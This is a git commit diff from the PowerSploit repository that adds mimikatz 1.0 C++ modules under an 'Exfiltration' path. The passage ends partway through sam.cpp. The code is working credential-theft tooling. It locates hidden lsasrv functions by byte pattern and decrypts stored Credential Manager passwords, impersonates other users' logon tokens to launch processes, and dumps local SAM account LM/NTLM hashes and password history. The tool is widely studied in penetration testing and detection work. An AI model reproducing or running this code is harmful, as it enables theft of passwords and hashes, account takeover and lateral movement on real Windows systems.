aboutsummaryrefslogtreecommitdiff
path: root/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules
diff options
context:
space:
mode:
authorclymb3r <bialek.joseph@gmail.com>2013-10-01 09:47:05 -0700
committerclymb3r <bialek.joseph@gmail.com>2013-10-01 09:47:05 -0700
commit59cd18360764af6e6133ad11ec9cd8295372e587 (patch)
tree758a4f12cd6d2bddb0006df7d1fcac3736b61b8f /Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules
parentb17272eb98933c62baa5a21bcd23713f9182ee38 (diff)
downloadPowerSploit-59cd18360764af6e6133ad11ec9cd8295372e587.tar.gz
PowerSploit-59cd18360764af6e6133ad11ec9cd8295372e587.zip
Adding Invoke-Mimikatz and Invoke-Ninjacopy
Diffstat (limited to 'Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules')
-rw-r--r--Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/credman.cpp180
-rw-r--r--Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/credman.h19
-rw-r--r--Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/incognito.cpp88
-rw-r--r--Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/incognito.h13
-rw-r--r--Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/sam.cpp479
-rw-r--r--Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/sam.h210
-rw-r--r--Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/secrets.cpp99
-rw-r--r--Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/secrets.h29
8 files changed, 1117 insertions, 0 deletions
diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/credman.cpp b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/credman.cpp
new file mode 100644
index 0000000..fe846b4
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/credman.cpp
@@ -0,0 +1,180 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+ Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#include "credman.h"
+
+PCRED_I_ENUMERATE CredIEnumerate = NULL;
+
+bool searchCredmanFuncs()
+{
+#ifdef _M_X64
+ BYTE PTRN_WIN5_CrediEnumerate[] = {0x48, 0x8b, 0xc4, 0x48, 0x81, 0xec, 0xb8, 0x00, 0x00, 0x00, 0x48, 0x89, 0x70, 0xe8, 0x48, 0x89, 0x78, 0xe0, 0x4c, 0x89, 0x60, 0xd8, 0x45, 0x33, 0xe4};
+ LONG OFFS_WIN5_CrediEnumerate = 0;
+ BYTE PTRN_WNO8_CrediEnumerate[] = {0x48, 0x81, 0xec, 0xd0, 0x00, 0x00, 0x00, 0x33, 0xc0, 0x45, 0x33, 0xed};
+ LONG OFFS_WNO8_CrediEnumerate = -22;
+ BYTE PTRN_WIN8_CrediEnumerate[] = {0x48, 0x81, 0xec, 0xe0, 0x00, 0x00, 0x00, 0x33, 0xc0, 0x45, 0x33, 0xed};
+ LONG OFFS_WIN8_CrediEnumerate = -30;
+#elif defined _M_IX86
+ BYTE PTRN_WIN5_CrediEnumerate[] = {0x8b, 0xff, 0x55, 0x8b, 0xec, 0x83, 0xec, 0x24, 0x53, 0x33, 0xdb, 0x57, 0x33, 0xc0};
+ BYTE PTRN_WN60_CrediEnumerate[] = {0x8b, 0xff, 0x55, 0x8b, 0xec, 0x83, 0xec, 0x40, 0x33, 0xc9};
+ BYTE PTRN_WN61_CrediEnumerate[] = {0x8b, 0xff, 0x55, 0x8b, 0xec, 0x83, 0xec, 0x44, 0x33, 0xc0};
+ BYTE PTRN_WN62_CrediEnumerate[] = {0x8b, 0xff, 0x55, 0x8b, 0xec, 0x81, 0xec, 0x80, 0x00, 0x00, 0x00, 0x33, 0xc0};
+ LONG OFFS_WALL_CrediEnumerate = 0;
+#endif
+
+ if(!CredIEnumerate)
+ {
+ PBYTE pattern = NULL; ULONG taille = 0; LONG offset = 0;
+#ifdef _M_X64
+ if(mod_system::GLOB_Version.dwMajorVersion < 6)
+ {
+ pattern = PTRN_WIN5_CrediEnumerate;
+ taille = sizeof(PTRN_WIN5_CrediEnumerate);
+ offset = OFFS_WIN5_CrediEnumerate;
+ }
+ else
+ {
+ if (mod_system::GLOB_Version.dwMinorVersion < 2)
+ {
+ pattern = PTRN_WNO8_CrediEnumerate;
+ taille = sizeof(PTRN_WNO8_CrediEnumerate);
+ offset = OFFS_WNO8_CrediEnumerate;
+ }
+ else
+ {
+ pattern = PTRN_WIN8_CrediEnumerate;
+ taille = sizeof(PTRN_WIN8_CrediEnumerate);
+ offset = OFFS_WIN8_CrediEnumerate;
+ }
+ }
+#elif defined _M_IX86
+ if(mod_system::GLOB_Version.dwMajorVersion < 6)
+ {
+ pattern = PTRN_WIN5_CrediEnumerate;
+ taille = sizeof(PTRN_WIN5_CrediEnumerate);
+ }
+ else
+ {
+ if(mod_system::GLOB_Version.dwMinorVersion < 1)
+ {
+ pattern = PTRN_WN60_CrediEnumerate;
+ taille = sizeof(PTRN_WN60_CrediEnumerate);
+ }
+ else if (mod_system::GLOB_Version.dwMinorVersion < 2)
+ {
+ pattern = PTRN_WN61_CrediEnumerate;
+ taille = sizeof(PTRN_WN61_CrediEnumerate);
+ }
+ else
+ {
+ pattern = PTRN_WN62_CrediEnumerate;
+ taille = sizeof(PTRN_WN62_CrediEnumerate);
+ }
+ }
+ offset = OFFS_WALL_CrediEnumerate;
+#endif
+ mod_memory::genericPatternSearch(reinterpret_cast<PBYTE *>(&CredIEnumerate), L"lsasrv", pattern, taille, offset, NULL, true, true);
+ }
+ return (searchLSAFuncs() && CredIEnumerate);
+}
+
+__kextdll bool __cdecl getCredmanFunctions(mod_pipe * monPipe, vector<wstring> * mesArguments)
+{
+ wostringstream monStream;
+ monStream << L"** lsasrv.dll ** ; Statut recherche : " << (searchCredmanFuncs() ? L"OK :)" : L"KO :(") << endl << endl <<
+ L"@CredIEnumerate = " << CredIEnumerate << endl <<
+ L"@LsaUnprotectMemory = " << SeckPkgFunctionTable->LsaUnprotectMemory << endl;
+ return sendTo(monPipe, monStream.str());
+}
+
+__kextdll bool __cdecl getCredman(mod_pipe * monPipe, vector<wstring> * mesArguments)
+{
+ vector<pair<PFN_ENUM_BY_LUID, wstring>> monProvider;
+ monProvider.push_back(make_pair<PFN_ENUM_BY_LUID, wstring>(getCredmanData, wstring(L"credman")));
+ return getLogonData(monPipe, mesArguments, &monProvider);
+}
+
+bool WINAPI getCredmanData(__in PLUID logId, __in mod_pipe * monPipe, __in bool justSecurity)
+{
+ wostringstream message;
+ if(searchCredmanFuncs())
+ {
+ DWORD credNb = 0;
+ PCREDENTIAL * pCredential = NULL;
+ DWORD CredIEnumerateFlags = (mod_system::GLOB_Version.dwMajorVersion < 6) ? 0 : CRED_ENUMERATE_ALL_CREDENTIALS;
+ NTSTATUS status = (mod_system::GLOB_Version.dwBuildNumber < 8000 ) ? CredIEnumerate(logId, 0, NULL, CredIEnumerateFlags, &credNb, &pCredential) : reinterpret_cast<PCRED_I_ENUMERATE62>(CredIEnumerate)(logId, NULL, CredIEnumerateFlags, &credNb, &pCredential);
+
+ if(NT_SUCCESS(status))
+ {
+ for(DWORD i = 0; i < credNb; i++)
+ {
+ wstring Target(pCredential[i]->TargetName);
+ wstring ShortTarget = (mod_system::GLOB_Version.dwMajorVersion < 6) ? Target : Target.substr(Target.find_first_of(L'=') + 1);
+
+ message << endl;
+ if(justSecurity)
+ message << L"\t [" << i << L"] " << Target << L'\t';
+ else message <<
+ L"\t * [" << i << L"] Target : " << Target << L" / " << (pCredential[i]->TargetAlias ? pCredential[i]->TargetAlias : L"<NULL>") << endl <<
+ L"\t * [" << i << L"] Comment : " << (pCredential[i]->Comment ? pCredential[i]->Comment : L"<NULL>") << endl <<
+ L"\t * [" << i << L"] User : " << (pCredential[i]->UserName ? pCredential[i]->UserName : L"<NULL>") << endl;
+
+ if((pCredential[i]->Type != CRED_TYPE_GENERIC) && (pCredential[i]->Type != CRED_TYPE_GENERIC_CERTIFICATE))
+ {
+ CREDENTIAL_TARGET_INFORMATION mesInfos = {const_cast<wchar_t *>(ShortTarget.c_str()), NULL, NULL, NULL, NULL, NULL, NULL, pCredential[i]->Flags, 0 , NULL};
+ DWORD dwNbCredentials;
+ PENCRYPTED_CREDENTIALW * pEncryptedCredential;
+ NTSTATUS status = SeckPkgFunctionTable->CrediReadDomainCredentials(logId, CREDP_FLAGS_IN_PROCESS, &mesInfos, 0, &dwNbCredentials, &pEncryptedCredential);
+ if(status == STATUS_INVALID_PARAMETER)
+ {
+ mesInfos.Flags |= CRED_TI_USERNAME_TARGET;
+ status = SeckPkgFunctionTable->CrediReadDomainCredentials(logId, CREDP_FLAGS_IN_PROCESS, &mesInfos, 0, &dwNbCredentials, &pEncryptedCredential);
+ }
+ if(NT_SUCCESS(status))
+ {
+ for(DWORD j = 0; j < dwNbCredentials ; j++)
+ {
+ wostringstream prefix; prefix << L"[" << j << L"] ";
+ message << descEncryptedCredential(pEncryptedCredential[j], justSecurity, prefix.str());
+ }
+ SeckPkgFunctionTable->CrediFreeCredentials(dwNbCredentials, pEncryptedCredential);
+ }
+ else message << L"Erreur CrediReadDomainCredentials : " << mod_system::getWinError(false, status);
+ }
+ else
+ {
+ PENCRYPTED_CREDENTIALW pEncryptedCredential;
+ NTSTATUS status = SeckPkgFunctionTable->CrediRead(logId, CREDP_FLAGS_IN_PROCESS, const_cast<wchar_t *>(ShortTarget.c_str()), pCredential[i]->Type, 0, &pEncryptedCredential);
+ if(NT_SUCCESS(status))
+ {
+ message << descEncryptedCredential(pEncryptedCredential, justSecurity);
+ CredFree(pEncryptedCredential);
+ }
+ else message << L"Erreur CrediRead : " << mod_system::getWinError(false, status);
+ }
+ }
+ CredFree(pCredential);
+ }
+ else message << L"CredIEnumerate KO : " << mod_system::getWinError(false, status);
+ } else message << L"n.a. (credman KO)";
+ return sendTo(monPipe, message.str());
+}
+
+wstring descEncryptedCredential(PENCRYPTED_CREDENTIALW pEncryptedCredential, __in bool justSecurity, wstring prefix)
+{
+ wostringstream monStream;
+
+ LSA_UNICODE_STRING encryptedPassword = {pEncryptedCredential->Cred.CredentialBlobSize, pEncryptedCredential->Cred.CredentialBlobSize, reinterpret_cast<PWSTR>(pEncryptedCredential->Cred.CredentialBlob)};
+ wstring cred = getPasswordFromProtectedUnicodeString(&encryptedPassword);
+
+ if(justSecurity)
+ monStream << L"- {" << pEncryptedCredential->Cred.UserName << L" ; " << cred << L" } ";
+ else monStream <<
+ L"\t " << prefix << L"User : " << pEncryptedCredential->Cred.UserName << endl <<
+ L"\t " << prefix << L"Cred : " << cred << endl;
+
+ return monStream.str();
+} \ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/credman.h b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/credman.h
new file mode 100644
index 0000000..60d1249
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/credman.h
@@ -0,0 +1,19 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+ Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#pragma once
+#include "../sekurlsa.h"
+
+bool searchCredmanFuncs();
+__kextdll bool __cdecl getCredmanFunctions(mod_pipe * monPipe, vector<wstring> * mesArguments);
+__kextdll bool __cdecl getCredman(mod_pipe * monPipe, vector<wstring> * mesArguments);
+bool WINAPI getCredmanData(__in PLUID logId, __in mod_pipe * monPipe, __in bool justSecurity);
+
+wstring descEncryptedCredential(PENCRYPTED_CREDENTIALW pEncryptedCredential, __in bool justSecurity, wstring prefix = L"");
+
+typedef NTSTATUS (WINAPI * PCRED_I_ENUMERATE) (IN PLUID pLUID, IN DWORD unk0, IN LPCTSTR Filter, IN DWORD Flags, OUT DWORD *Count, OUT PCREDENTIAL **Credentials);
+typedef NTSTATUS (WINAPI * PCRED_I_ENUMERATE62) (IN PLUID pLUID, IN LPCTSTR Filter, IN DWORD Flags, OUT DWORD *Count, OUT PCREDENTIAL **Credentials);
+
diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/incognito.cpp b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/incognito.cpp
new file mode 100644
index 0000000..7284da7
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/incognito.cpp
@@ -0,0 +1,88 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+ Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#include "incognito.h"
+
+bool searchIncognitoFuncs()
+{
+ return searchLSAFuncs();
+}
+
+__kextdll bool __cdecl find_tokens(mod_pipe * monPipe, vector<wstring> * mesArguments)
+{
+ vector<pair<PFN_ENUM_BY_LUID, wstring>> monProvider;
+ monProvider.push_back(make_pair<PFN_ENUM_BY_LUID, wstring>(getTokenData, wstring(L"token")));
+ return getLogonData(monPipe, mesArguments, &monProvider);
+}
+
+__kextdll bool __cdecl incognito(mod_pipe * monPipe, vector<wstring> * mesArguments)
+{
+ wostringstream monStream;
+ if(searchIncognitoFuncs())
+ {
+ if(!mesArguments->empty() && ((mesArguments->size() == 3) || (mesArguments->size() == 4)))
+ {
+ wstring idSecAppHigh = L"0", idSecAppLow = mesArguments->front(), session = mesArguments->at(1), maLigne = mesArguments->back();
+ if(mesArguments->size() == 4)
+ {
+ idSecAppHigh = idSecAppLow;
+ idSecAppLow = mesArguments->at(1);
+ session = mesArguments->at(2);
+ }
+ LUID monLUID = mod_text::wstringsToLUID(idSecAppHigh, idSecAppLow);
+ DWORD maSession = _wtoi(session.c_str());
+ HANDLE monToken;
+ monStream << L" * OpenTokenByLogonId({" << monLUID.LowPart << L";" << monLUID.HighPart << L"}) : ";
+ NTSTATUS status = SeckPkgFunctionTable->OpenTokenByLogonId(&monLUID, &monToken);
+ if(NT_SUCCESS(status))
+ {
+ monStream << L"OK !" << endl <<
+ L" * SetTokenInformation(TokenSessionId@" << maSession << L") : ";
+ if(SetTokenInformation(monToken, TokenSessionId, &maSession, sizeof(DWORD)) != 0)
+ {
+ monStream << L"OK !" << endl <<
+ L" * CreateProcessAsUser(Token@{" << monLUID.LowPart << L";" << monLUID.HighPart << L"}, TokenSessionId@" << maSession << L", \"" << maLigne << L"\") : ";
+ PROCESS_INFORMATION mesInfosProcess;
+ if(mod_process::start(&maLigne, &mesInfosProcess, false, false, monToken))
+ {
+ monStream << L"OK - pid = " << mesInfosProcess.dwProcessId << endl;
+ CloseHandle(mesInfosProcess.hThread);
+ CloseHandle(mesInfosProcess.hProcess);
+ }
+ else monStream << L"KO - " << mod_system::getWinError() << endl;
+ CloseHandle(monToken);
+ }
+ else monStream << L"KO - " << mod_system::getWinError() << endl;
+ }
+ else monStream << L"KO - " << mod_system::getWinError(false, status) << endl;
+ }
+ else monStream << L"Format d\'appel invalide : incognito [idSecAppHigh] idSecAppLow sessionDst ligneDeCommande" << endl;
+ }
+ return sendTo(monPipe, monStream.str());
+}
+
+bool WINAPI getTokenData(__in PLUID logId, __in mod_pipe * monPipe, __in bool justSecurity)
+{
+ wostringstream monStream;
+ if(searchIncognitoFuncs())
+ {
+ HANDLE monToken;
+ NTSTATUS status = SeckPkgFunctionTable->OpenTokenByLogonId(logId, &monToken);
+ if(NT_SUCCESS(status))
+ {
+ monStream << L"Disponible !";
+ DWORD maSession, tailleRetournee;
+ if(GetTokenInformation(monToken, TokenSessionId, &maSession, sizeof(DWORD), &tailleRetournee) != 0)
+ {
+ monStream << L" - session d\'origine " << maSession;
+ CloseHandle(monToken);
+ }
+ else monStream << L"Indisponible - SetTokenInformation KO : " << mod_system::getWinError() << endl;
+ }
+ else monStream << L"OpenTokenByLogonId KO : " << mod_system::getWinError(false, status) << endl;
+ }
+ return sendTo(monPipe, monStream.str());
+} \ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/incognito.h b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/incognito.h
new file mode 100644
index 0000000..a8eae58
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/incognito.h
@@ -0,0 +1,13 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+ Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#pragma once
+#include "../sekurlsa.h"
+
+bool searchIncognitoFuncs();
+__kextdll bool __cdecl find_tokens(mod_pipe * monPipe, vector<wstring> * mesArguments);
+__kextdll bool __cdecl incognito(mod_pipe * monPipe, vector<wstring> * mesArguments);
+bool WINAPI getTokenData(__in PLUID logId, __in mod_pipe * monPipe, __in bool justSecurity); \ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/sam.cpp b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/sam.cpp
new file mode 100644
index 0000000..5555b58
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/sam.cpp
@@ -0,0 +1,479 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+ Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#include "sam.h"
+
+PSAM_I_CONNECT SamIConnect = reinterpret_cast<PSAM_I_CONNECT>(NULL);
+PSAM_R_OPEN_DOMAIN SamrOpenDomain = reinterpret_cast<PSAM_R_OPEN_DOMAIN>(NULL);
+PSAM_R_OPEN_USER SamrOpenUser = reinterpret_cast<PSAM_R_OPEN_USER>(NULL);
+PSAM_R_ENUMERATE_USERS_IN_DOMAIN SamrEnumerateUsersInDomain = reinterpret_cast<PSAM_R_ENUMERATE_USERS_IN_DOMAIN>(NULL);
+PSAM_R_QUERY_INFORMATION_USER SamrQueryInformationUser = reinterpret_cast<PSAM_R_QUERY_INFORMATION_USER>(NULL);
+PSAM_I_FREE_SAMPR_USER_INFO_BUFFER SamIFree_SAMPR_USER_INFO_BUFFER = reinterpret_cast<PSAM_I_FREE_SAMPR_USER_INFO_BUFFER>(NULL);
+PSAM_I_FREE_SAMPR_ENUMERATION_BUFFER SamIFree_SAMPR_ENUMERATION_BUFFER = reinterpret_cast<PSAM_I_FREE_SAMPR_ENUMERATION_BUFFER>(NULL);
+PSAM_R_CLOSE_HANDLE SamrCloseHandle = reinterpret_cast<PSAM_R_CLOSE_HANDLE>(NULL);
+PSAM_I_GET_PRIVATE_DATA SamIGetPrivateData = reinterpret_cast<PSAM_I_GET_PRIVATE_DATA>(NULL);
+PSYSTEM_FUNCTION_025 SystemFunction025 = reinterpret_cast<PSYSTEM_FUNCTION_025>(NULL);
+PSYSTEM_FUNCTION_027 SystemFunction027 = reinterpret_cast<PSYSTEM_FUNCTION_027>(NULL);
+
+bool searchSAMFuncs()
+{
+ if(!(SamIConnect &&
+ SamrOpenDomain &&
+ SamrOpenUser &&
+ SamrEnumerateUsersInDomain &&
+ SamrQueryInformationUser &&
+ SamIFree_SAMPR_USER_INFO_BUFFER &&
+ SamIFree_SAMPR_ENUMERATION_BUFFER &&
+ SamrCloseHandle &&
+ SamIGetPrivateData &&
+ SystemFunction025 &&
+ SystemFunction027))
+ {
+ HMODULE hSamsrv = GetModuleHandle(L"samsrv");
+ HMODULE hAdvapi32 = GetModuleHandle(L"advapi32");
+
+ if(hSamsrv && hAdvapi32)
+ {
+ SamIConnect = reinterpret_cast<PSAM_I_CONNECT>(GetProcAddress(hSamsrv, "SamIConnect"));
+ SamrOpenDomain = reinterpret_cast<PSAM_R_OPEN_DOMAIN>(GetProcAddress(hSamsrv, "SamrOpenDomain"));
+ SamrOpenUser = reinterpret_cast<PSAM_R_OPEN_USER>(GetProcAddress(hSamsrv, "SamrOpenUser"));
+ SamrEnumerateUsersInDomain = reinterpret_cast<PSAM_R_ENUMERATE_USERS_IN_DOMAIN>(GetProcAddress(hSamsrv, "SamrEnumerateUsersInDomain"));
+ SamrQueryInformationUser = reinterpret_cast<PSAM_R_QUERY_INFORMATION_USER>(GetProcAddress(hSamsrv, "SamrQueryInformationUser"));
+ SamIFree_SAMPR_USER_INFO_BUFFER = reinterpret_cast<PSAM_I_FREE_SAMPR_USER_INFO_BUFFER>(GetProcAddress(hSamsrv, "SamIFree_SAMPR_USER_INFO_BUFFER"));
+ SamIFree_SAMPR_ENUMERATION_BUFFER = reinterpret_cast<PSAM_I_FREE_SAMPR_ENUMERATION_BUFFER>(GetProcAddress(hSamsrv, "SamIFree_SAMPR_ENUMERATION_BUFFER"));
+ SamrCloseHandle = reinterpret_cast<PSAM_R_CLOSE_HANDLE>(GetProcAddress(hSamsrv, "SamrCloseHandle"));
+ SamIGetPrivateData = reinterpret_cast<PSAM_I_GET_PRIVATE_DATA>(GetProcAddress(hSamsrv, "SamIGetPrivateData"));
+ SystemFunction025 = reinterpret_cast<PSYSTEM_FUNCTION_025>(GetProcAddress(hAdvapi32, "SystemFunction025"));
+ SystemFunction027 = reinterpret_cast<PSYSTEM_FUNCTION_027>(GetProcAddress(hAdvapi32, "SystemFunction027"));
+ }
+ return (SamIConnect &&
+ SamrOpenDomain &&
+ SamrOpenUser &&
+ SamrEnumerateUsersInDomain &&
+ SamrQueryInformationUser &&
+ SamIFree_SAMPR_USER_INFO_BUFFER &&
+ SamIFree_SAMPR_ENUMERATION_BUFFER &&
+ SamrCloseHandle);
+ }
+ else return true;
+}
+
+__kextdll bool __cdecl getSAMFunctions(mod_pipe * monPipe, vector<wstring> * mesArguments)
+{
+ wostringstream monStream;
+ monStream << L"** samsrv.dll/advapi32.dll ** ; Statut recherche : " << (searchSAMFuncs() ? L"OK :)" : L"KO :(") << endl << endl <<
+ L"@SamIConnect = " << SamIConnect << endl <<
+ L"@SamrOpenDomain = " << SamrOpenDomain << endl <<
+ L"@SamrOpenUser = " << SamrOpenUser << endl <<
+ L"@SamrEnumerateUsersInDomain = " << SamrEnumerateUsersInDomain << endl <<
+ L"@SamrQueryInformationUser = " << SamrQueryInformationUser << endl <<
+ L"@SamIFree_SAMPR_USER_INFO_BUFFER = " << SamIFree_SAMPR_USER_INFO_BUFFER << endl <<
+ L"@SamIFree_SAMPR_ENUMERATION_BUFFER = " << SamIFree_SAMPR_ENUMERATION_BUFFER << endl <<
+ L"@SamrCloseHandle = " << SamrCloseHandle << endl <<
+ L"@SamIGetPrivateData = " << SamIGetPrivateData << endl <<
+ L"@SystemFunction025 = " << SystemFunction025 << endl <<
+ L"@SystemFunction027 = " << SystemFunction027 << endl;
+ return sendTo(monPipe, monStream.str());
+}
+
+__kextdll bool __cdecl getLocalAccounts(mod_pipe * monPipe, vector<wstring> * mesArguments)
+{
+ if(searchSAMFuncs())
+ {
+ bool sendOk = true, history = true, isCSV = false;
+ USER_INFORMATION_CLASS monType = UserInternal1Information;
+
+ if(!mesArguments->empty())
+ {
+ isCSV = ((_wcsicmp(mesArguments->front().c_str(), L"/csv") == 0) || _wcsicmp(mesArguments->back().c_str(), L"/csv") == 0);
+ monType = (((_wcsicmp(mesArguments->front().c_str(), L"/full") == 0) || _wcsicmp(mesArguments->back().c_str(), L"/full") == 0) ? UserAllInformation : UserInternal1Information);
+ }
+
+ LSA_HANDLE handlePolicy = NULL;
+ HSAM handleSam = NULL;
+ HDOMAIN handleDomain = NULL;
+ HUSER handleUser = NULL;
+
+ LSA_OBJECT_ATTRIBUTES objectAttributes;
+ memset(&objectAttributes, NULL, sizeof(objectAttributes));
+ PPOLICY_ACCOUNT_DOMAIN_INFO ptrPolicyDomainInfo;
+
+ NTSTATUS retourEnum = 0;
+ PSAMPR_ENUMERATION_BUFFER ptrStructEnumUser = NULL;
+ DWORD EnumerationContext = 0;
+ DWORD EnumerationSize = 0;
+
+ PSAMPR_USER_INFO_BUFFER ptrMesInfosUsers = NULL;
+
+ if(NT_SUCCESS(LsaOpenPolicy(NULL, &objectAttributes, POLICY_ALL_ACCESS, &handlePolicy)))
+ {
+ if(NT_SUCCESS(LsaQueryInformationPolicy(handlePolicy, PolicyAccountDomainInformation, reinterpret_cast<PVOID *>(&ptrPolicyDomainInfo))))
+ {
+ if(NT_SUCCESS(SamIConnect(NULL, &handleSam, 1, SAM_SERVER_CONNECT)))
+ {
+ if(NT_SUCCESS(SamrOpenDomain(handleSam, DOMAIN_ALL_ACCESS, ptrPolicyDomainInfo->DomainSid, &handleDomain)))
+ {
+ wstring domainName = mod_text::stringOfSTRING(ptrPolicyDomainInfo->DomainName);
+ do
+ {
+ retourEnum = SamrEnumerateUsersInDomain(handleDomain, &EnumerationContext, NULL, &ptrStructEnumUser, 1000, &EnumerationSize);
+ if(NT_SUCCESS(retourEnum) || retourEnum == STATUS_MORE_ENTRIES)
+ {
+ for(DWORD numUser = 0; numUser < ptrStructEnumUser->EntriesRead && sendOk; numUser++)
+ {
+ wstring monUserName = mod_text::stringOfSTRING(ptrStructEnumUser->Buffer[numUser].Name);
+ ptrMesInfosUsers = NULL;
+
+ if(NT_SUCCESS(SamrOpenUser(handleDomain, USER_ALL_ACCESS, ptrStructEnumUser->Buffer[numUser].RelativeId, &handleUser)))
+ {
+ if(NT_SUCCESS(SamrQueryInformationUser(handleUser, monType, &ptrMesInfosUsers)))
+ {
+ WUserAllInformation mesInfos = UserInformationsToStruct(monType, ptrMesInfosUsers);
+ mesInfos.UserId = ptrStructEnumUser->Buffer[numUser].RelativeId;
+ mesInfos.DomaineName = mod_text::stringOfSTRING(ptrPolicyDomainInfo->DomainName);
+
+ if(mesInfos.UserName.empty())
+ mesInfos.UserName = mod_text::stringOfSTRING(ptrStructEnumUser->Buffer[numUser].Name);
+
+ sendOk = descrToPipeInformations(monPipe, monType, mesInfos, isCSV);
+ SamIFree_SAMPR_USER_INFO_BUFFER(ptrMesInfosUsers, monType);
+ }
+
+ if(history && SamIGetPrivateData != NULL)
+ {
+ sendOk = descrUserHistoryToPipe(monPipe, ptrStructEnumUser->Buffer[numUser].RelativeId, monUserName, domainName, handleUser, monType, isCSV);
+ }
+ SamrCloseHandle(reinterpret_cast<PHANDLE>(&handleUser));
+ }
+ else sendOk = sendTo(monPipe, L"Impossible d\'ouvrir l\'objet utilisateur\n");
+ }
+ SamIFree_SAMPR_ENUMERATION_BUFFER(ptrStructEnumUser);
+ }
+ else sendOk = sendTo(monPipe, L"Echec dans l\'obtention de la liste des objets\n");
+
+ } while(retourEnum == STATUS_MORE_ENTRIES && sendOk);
+ SamrCloseHandle(reinterpret_cast<PHANDLE>(&handleDomain));
+ }
+ else sendOk = sendTo(monPipe, L"Impossible d\'obtenir les information sur le domaine\n");
+ SamrCloseHandle(reinterpret_cast<PHANDLE>(&handleSam));
+ }
+ else sendOk = sendTo(monPipe, L"Impossible de se connecter à la base de sécurité du domaine\n");
+ LsaFreeMemory(ptrPolicyDomainInfo);
+ }
+ else sendOk = sendTo(monPipe, L"Impossible d\'obtenir des informations sur la politique de sécurité\n");
+ LsaClose(handlePolicy);
+ }
+ else sendOk = sendTo(monPipe, L"Impossible d\'ouvrir la politique de sécurité\n");
+
+ return sendOk;
+ }
+ else return getSAMFunctions(monPipe, mesArguments);
+}
+
+bool descrToPipeInformations(mod_pipe * monPipe, USER_INFORMATION_CLASS type, WUserAllInformation & mesInfos, bool isCSV)
+{
+ wstringstream maReponse;
+
+ switch(type)
+ {
+ case UserInternal1Information:
+ if(isCSV)
+ {
+ maReponse <<
+ mesInfos.UserId << L";" <<
+ mesInfos.UserName << L";" <<
+ mesInfos.DomaineName << L";" <<
+ mesInfos.LmOwfPassword << L";" <<
+ mesInfos.NtOwfPassword << L";"
+ ;
+ }
+ else
+ {
+ maReponse <<
+ L"ID : " << mesInfos.UserId << endl <<
+ L"Nom : " << mesInfos.UserName << endl <<
+ L"Domaine : " << mesInfos.DomaineName << endl <<
+ L"Hash LM : " << mesInfos.LmOwfPassword << endl <<
+ L"Hash NTLM : " << mesInfos.NtOwfPassword << endl
+ ;
+ }
+ break;
+ case UserAllInformation:
+ if(isCSV)
+ {
+ maReponse <<
+ mesInfos.UserId << L';' <<
+ mesInfos.UserName << L';' <<
+ mesInfos.DomaineName << L';' <<
+ protectMe(mesInfos.FullName) << L';' <<
+ mesInfos.isActif << L';' <<
+ mesInfos.isLocked << L';' <<
+ mesInfos.TypeCompte << L';' <<
+ protectMe(mesInfos.UserComment) << L';' <<
+ protectMe(mesInfos.AdminComment) << L';' <<
+ mesInfos.AccountExpires_strict << L';' <<
+ protectMe(mesInfos.WorkStations) << L';' <<
+ protectMe(mesInfos.HomeDirectory) << L';' <<
+ protectMe(mesInfos.HomeDirectoryDrive) << L';' <<
+ protectMe(mesInfos.ProfilePath) << L';' <<
+ protectMe(mesInfos.ScriptPath) << L';' <<
+ mesInfos.LogonCount << L';' <<
+ mesInfos.BadPasswordCount << L';' <<
+ mesInfos.LastLogon_strict << L';' <<
+ mesInfos.LastLogoff_strict << L';' <<
+ mesInfos.PasswordLastSet_strict << L';' <<
+ mesInfos.isPasswordNotExpire << L';' <<
+ mesInfos.isPasswordNotRequired << L';' <<
+ mesInfos.isPasswordExpired << L';' <<
+ mesInfos.PasswordCanChange_strict << L';' <<
+ mesInfos.PasswordMustChange_strict << L';' <<
